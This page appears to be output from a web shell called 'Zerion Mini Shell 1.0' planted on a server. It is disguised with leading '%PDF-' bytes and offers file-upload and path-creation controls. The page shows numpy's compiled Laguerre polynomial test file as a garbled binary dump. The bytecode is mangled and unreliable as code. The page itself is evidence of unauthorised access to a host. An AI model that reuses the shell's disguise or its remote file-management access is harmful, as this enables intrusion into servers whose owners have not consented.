%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/polynomial/tests/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/polynomial/tests/__pycache__/test_laguerre.cpython-39.pyc

a

z[ycgD�@stdZddlmZddlZddlmmZddl	m
Z
ddlmZm
Z
mZmZe�dg�dZe�ddg�dZe�gd��d	Ze�gd
��dZe�gd��d
Ze�gd��dZe�gd��dZeeeeeeegZdd�ZGdd�d�ZGdd�d�ZGdd�d�ZGdd�d�ZGdd�d�ZGdd�d�ZGd d!�d!�Z Gd"d#�d#�Z!Gd$d%�d%�Z"Gd&d'�d'�Z#dS)(zTests for laguerre module.

�)�reduceN��polyval)�assert_almost_equal�
assert_raises�assert_equal�assert_����)����r	r)�i���	r
r
)�i�����Hi�r	r)�xi����iXi8����r
r)��i �ii����i�i���r	rcCstj|dd�S)Ng���ư>)Ztol)�lag�lagtrim��x�r�J/usr/lib64/python3.9/site-packages/numpy/polynomial/tests/test_laguerre.py�trimsrc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�
TestConstantscCsttjddg�dS)Nrr	)rrZ	lagdomain��selfrrr�test_lagdomainszTestConstants.test_lagdomaincCsttjdg�dS)Nr)rrZlagzerorrrr�test_lagzero!szTestConstants.test_lagzerocCsttjdg�dS�Nr	)rrZlagonerrrr�test_lagone$szTestConstants.test_lagonecCsttjddg�dS)Nr	r
)rrZlagxrrrr�	test_lagx'szTestConstants.test_lagxN)�__name__�
__module__�__qualname__rrr!r"rrrrrsrc@sJeZdZe�ddd�Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�ZdS)�TestArithmetic�����dcCs�td�D]�}td�D]�}d|�d|��}t�t||�d�}||d7<||d7<t�dg|dgdg|dg�}tt|�t|�|d�qqdS�N��At i=�, j=r	r��err_msg)�range�np�zeros�maxr�lagaddrr�r�i�j�msg�tgt�resrrr�test_lagadd.s$zTestArithmetic.test_lagaddcCs�td�D]�}td�D]�}d|�d|��}t�t||�d�}||d7<||d8<t�dg|dgdg|dg�}tt|�t|�|d�qqdSr*)r0r1r2r3rZlagsubrrr5rrr�test_lagsub8s$zTestArithmetic.test_lagsubcCs�tt�dg�dg�tt�dg�ddg�tdd�D]L}dg|dg}dg|d|d|d|dg}tt�|�|�q4dS)Nrr	r
r+r)rrZlagmulxr0r)rr6Zserr9rrr�test_lagmulxBs(zTestArithmetic.test_lagmulxc
Cs�td�D]�}dg|dg}t�|j|�}td�D]x}d|�d|��}dg|dg}t�|j|�}t�||�}t�|j|�}	tt|�||dk|�t|	|||d�q2qdS)Nr+rr	r,r-r.)r0r�lagvalr�lagmulr�lenr)
rr6Zpol1Zval1r7r8Zpol2Zval2Zpol3Zval3rrr�test_lagmulJszTestArithmetic.test_lagmulc
Cs�td�D]�}td�D]z}d|�d|��}dg|dg}dg|dg}t�||�}t�||�\}}t�t�||�|�}	tt|	�t|�|d�qqdS)Nr+r,r-rr	r.)r0rr4Zlagdivr?rr)
rr6r7r8ZciZcjr9ZquoZremr:rrr�test_lagdivXszTestArithmetic.test_lagdivcCs|td�D]n}td�D]`}d|�d|��}t�|d�}ttj|g|t�dg��}t�||�}tt	|�t	|�|d�qqdS)Nr+r,r-r	r.)
r0r1�arangerrr?�arrayZlagpowrr)rr6r7r8�cr9r:rrr�test_lagpowcszTestArithmetic.test_lagpowN)r#r$r%r1�linspacerr;r<r=rArBrFrrrrr&+s

r&c@s�eZdZe�gd��Ze�dee�Ze�deee�Zej	�	d�ddZ
ee
gd��Zdd	�Z
d
d�Zdd
�Zdd�Zdd�ZdS)�TestEvaluation)g"@g,�g@�i,j->ij�
i,j,k->ijk�r(r+rr	)��?g@g@cs�tt�gdg�jd�t�dd���fdd�tD�}td�D]<}d|��}||}t��dg|dg�}t|||d�q<td	�D]^}d
g|}t�	|��tt��dg�j
|�tt��ddg�j
|�tt��gd��j
|�q�dS)Nr	rr
csg|]}t�|��qSrr��.0rErrr�
<listcomp>}�z.TestEvaluation.test_lagval.<locals>.<listcomp>�r,r.r(r)r	rr)rrr>�sizer1rG�Llistr0rr2�shape)r�yr6r8r9r:Zdimsrrr�test_lagvalws


zTestEvaluation.test_lagvalc
Cs�|j\}}}|j\}}}tttj||dd�|j�||}t�|||j�}t||�t�	d�}	t�|	|	|j�}t
|jdk�dS�Nr�rr()rrUr�
ValueErrorr�lagval2d�c2drr1�onesrrT�
r�x1�x2�x3Zy1Zy2Zy3r9r:�zrrr�
test_lagval2d�s

zTestEvaluation.test_lagval2dc
Cs�|j\}}}|j\}}}tttj|||dd�|j�|||}t�||||j�}t||�t�	d�}	t�|	|	|	|j�}t
|jdk�dSrW)rrUrrYr�lagval3d�c3drr1r\rrTr]rrr�
test_lagval3d�s

zTestEvaluation.test_lagval3dc
Csl|j\}}}|j\}}}t�d||�}t�|||j�}t||�t�d�}	t�|	|	|j�}t	|j
dk�dS)NrIrX)rr(rr()rrUr1�einsumrZ	laggrid2dr[rr\rrTr]rrr�test_laggrid2d�s

zTestEvaluation.test_laggrid2dc
Csr|j\}}}|j\}}}t�d|||�}t�||||j�}t||�t�d�}	t�|	|	|	|j�}t	|j
dk�dS)NrJrX)rr(rr(rr()rrUr1rfrZ	laggrid3drdrr\rrTr]rrr�test_laggrid3d�s

zTestEvaluation.test_laggrid3dN)r#r$r%r1rDZc1drfr[rd�randomrrrUrVrbrergrhrrrrrHmsrHc@seZdZdd�Zdd�ZdS)�TestIntegralc
	Cs2tttjdgd�tttjdgd�tttjdgdddg�tttjdgdgd�tttjdgdgd�tttjdgdd�tdd	�D]8}dg|ddg}tjdg||d
�}t|ddg�q�td	�D]n}|d}dg|dg}|gdg|d|g}t�|�}tj|d|gd
�}t�|�}tt	|�t	|��q�td	�D]N}|d}dg|dg}t�|�}tj|d|gdd�}tt�
d|�|��q@td	�D]r}|d}dg|dg}|gdg|d|g}t�|�}tj|d|gdd�}t�|�}tt	|�t	|���q�td	�D]r}tdd	�D]`}	dg|dg}|dd�}t|	�D]}tj|dd
�}�qJtj||	d
�}tt	|�t	|���q"�qtd	�D]�}tdd	�D]n}	dg|dg}|dd�}t|	�D]}tj|d|gd
�}�q�tj||	tt|	��d
�}tt	|�t	|���q��q�td	�D]�}tdd	�D]r}	dg|dg}|dd�}t|	�D]}tj|d|gdd�}�qPtj||	tt|	��dd�}tt	|�t	|���q(�qtd	�D]�}tdd	�D]r}	dg|dg}|dd�}t|	�D]}tj|d|gdd�}�q�tj||	tt|	��dd�}tt	|�t	|���q��q�dS)Nr��?r
r	)�lbnd)�scl��axisrr+)�m�k)rprqrl)rprqrm�rp)r�	TypeErrorr�lagintrYr0r�poly2lag�lag2polyrr>�list)
rr6rqr:rm�polr9Zlagpolrtr7rrr�test_lagint�s�




zTestIntegral.test_lagintcCs�tj�d�}t�dd�|jD��j}tj|dd�}t||�t�dd�|D��}tj|dd�}t||�t�dd�|D��}tj|d	dd
�}t||�dS)N�r(�cSsg|]}t�|��qSr�rrtrMrrrrO$rPz1TestIntegral.test_lagint_axis.<locals>.<listcomp>rrncSsg|]}t�|��qSrr|rMrrrrO(rPr	cSsg|]}tj|dd��qS)r()rqr|rMrrrrO,rPr()rqro)r1ri�vstack�Trrtr�rr[r9r:rrr�test_lagint_axis s

zTestIntegral.test_lagint_axisN)r#r$r%ryr�rrrrrj�sSrjc@seZdZdd�Zdd�ZdS)�TestDerivativecCstttjdgd�tttjdgd�td�D]4}dg|dg}tj|dd�}tt|�t|��q,td�D]N}tdd�D]>}dg|dg}tjtj||d�|d�}t	t|�t|��qxqjtd�D]R}tdd�D]B}dg|dg}tjtj||dd�|dd�}t	t|�t|��q�q�dS)	Nrrkr
r+r	rrr)rprm)
rrsr�lagderrYr0rrrtr)rr6r9r:r7rrr�test_lagder3s zTestDerivative.test_lagdercCsltj�d�}t�dd�|jD��j}tj|dd�}t||�t�dd�|D��}tj|dd�}t||�dS)NrzcSsg|]}t�|��qSr�rr�rMrrrrOPrPz3TestDerivative.test_lagder_axis.<locals>.<listcomp>rrncSsg|]}t�|��qSrr�rMrrrrOTrPr	)r1rir}r~rr�rrrrr�test_lagder_axisLs
zTestDerivative.test_lagder_axisN)r#r$r%r�r�rrrrr�1sr�c@s8eZdZej�d�ddZdd�Zdd�Zdd	�Zd
S)�
TestVanderrKrr	cCs�t�d�}t�|d�}t|jdk�td�D].}dg|dg}t|d|ft�||��q,t�	ddgddgdd	gg�}t�|d�}t|jd
k�td�D].}dg|dg}t|d|ft�||��q�dS)Nr(rzr{rr	.rr+r
)r(rr{)
r1rCr�	lagvanderrrTr0rr>rD)rr�vr6�coefrrr�test_lagvander]s
zTestVander.test_lagvandercCsx|j\}}}tj�d�}t�||ddg�}t�|||�}t�||j�}t||�t�|g|gddg�}t	|j
dk�dS)NrXr	r)r	r+r
)rr1rirZlagvander2drZ�dot�flatrrrT�rr^r_r`rEZvanr9r:rrr�test_lagvander2dns
zTestVander.test_lagvander2dcCs�|j\}}}tj�d�}t�|||gd��}t�||||�}t�||j�}t||�t�|g|g|ggd��}t	|j
dk�dS)N)rr(r{)r	rr()r	r+r)rr1rirZlagvander3drcr�r�rrrTr�rrr�test_lagvander3d{s
zTestVander.test_lagvander3dN)	r#r$r%r1rirr�r�r�rrrrr�Ys
r�c@seZdZdd�ZdS)�TestFittingcCsfdd�}tttjdgdgd�tttjdggdgd�tttjgdgd�tttjdgdgggd�tttjddgdgd�tttjdgddgd�tttjdgdgddggd�tttjdgdgdddgd�tttjdgdgdg�tttjdgdggd��tttjdgdgg�t�dd�}||�}t�||d	�}tt|�d
�t	t�
||�|�t�||gd��}tt|�d
�t	t�
||�|�t�||d
�}tt|�d�t	t�
||�|�t�||gd
��}tt|�d�t	t�
||�|�t�|t�||g�jd	�}t	|t�||g�j�t�|t�||g�jgd��}t	|t�||g�j�t�
|�}|��}d|ddd�<d|ddd�<tj||d	|d�}	t	|	|�tj||gd�|d�}	t	|	|�tj|t�||g�jd	|d�}
t	|
t�||g�j�tj|t�||g�jgd�|d�}
t	|
t�||g�j�gd�}t	t�||d�ddg�t	t�||ddg�ddg�dS)NcSs||d|dS)Nr	rrrrrr�f�sz"TestFitting.test_lagfit.<locals>.fr	r
rr)�w)rr
r
r(r{)rr	rr(r+)rr	rr(r{)r	y�?r
y��)rrYrZlagfitrsr1rGrr@rr>rDr~Z
zeros_like�copy)rr�rrUZcoef3Zcoef4Zcoef2dr�ZywZwcoef3Zwcoef2drrr�test_lagfit�sZ


"zTestFitting.test_lagfitN)r#r$r%r�rrrrr��sr�c@s$eZdZdd�Zdd�Zdd�ZdS)�
TestCompanioncCs"tttjg�tttjdg�dSr )rrYr�lagcompanionrrrr�test_raises�szTestCompanion.test_raisescCs<tdd�D],}dg|dg}tt�|�j||fk�q
dS)Nr	r+r)r0rrr�rT)rr6r�rrr�test_dimensions�szTestCompanion.test_dimensionscCstt�ddg�ddk�dS)Nr	r)rrg�?)rrr�rrrr�test_linear_root�szTestCompanion.test_linear_rootN)r#r$r%r�r�r�rrrrr��sr�c@seZdZdd�ZdS)�	TestGausscCs|t�d�\}}t�|d�}t�|j||�}dt�|���}|dd�df||}t|t�	d��d}t|�
�|�dS)Nr)�cr	rL)rZlaggaussr�r1r�r~ZsqrtZdiagonalrZeye�sum)rrr�r�ZvvZvdr9rrr�test_100�szTestGauss.test_100N)r#r$r%r�rrrrr��sr�c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�TestMiscc	Cs�t�g�}tt|�dg�tdd�D]z}t�t�tjdd|d�ddd��}t�|�}t�	||�}d}t
t|�|dk�tt�|�dd�t||�q$dS)Nr	r+rrr
)
r�lagfromrootsrrr0r1ZcosrGZpir>rr@rv)rr:r6�rootsrxr9rrr�test_lagfromroots�s
*
zTestMisc.test_lagfromrootscCsltt�dg�g�tt�ddg�dg�tdd�D]4}t�dd|�}t�t�|��}tt|�t|��q2dS)Nr	rrr+r()rrZlagrootsr0r1rGr�r)rr6r9r:rrr�
test_lagroots�szTestMisc.test_lagrootscCsbgd�}tttj|d�tt�|�|dd��tt�|d�|dd��tt�|d�dg�dS)N)rr
r	rr
r	r'rr)rrYrrr)rr�rrr�test_lagtrim�s
zTestMisc.test_lagtrimcCstt�dd�ddg�dS)Nr(r{rQr)rrZlaglinerrrr�test_lagline
szTestMisc.test_laglinecCs2td�D]$}tt�dg|dg�t|�qdS�NrQrr	)r0rrrvrS�rr6rrr�
test_lag2poly
szTestMisc.test_lag2polycCs2td�D]$}tt�t|�dg|dg�qdSr�)r0rrrurSr�rrr�
test_poly2lagszTestMisc.test_poly2lagcCs2t�ddd�}t�|�}t�|�}t||�dS)Nr�
�)r1rGZexprZ	lagweightr)rrr9r:rrr�test_weights
zTestMisc.test_weightN)
r#r$r%r�r�r�r�r�r�r�rrrrr��sr�)$�__doc__�	functoolsrZnumpyr1Znumpy.polynomial.laguerreZ
polynomialZlaguerrerZnumpy.polynomial.polynomialrZ
numpy.testingrrrrrDZL0ZL1ZL2ZL3ZL4ZL5ZL6rSrrr&rHrjr�r�r�r�r�r�rrrr�<module>s0B^f(0>

Zerion Mini Shell 1.0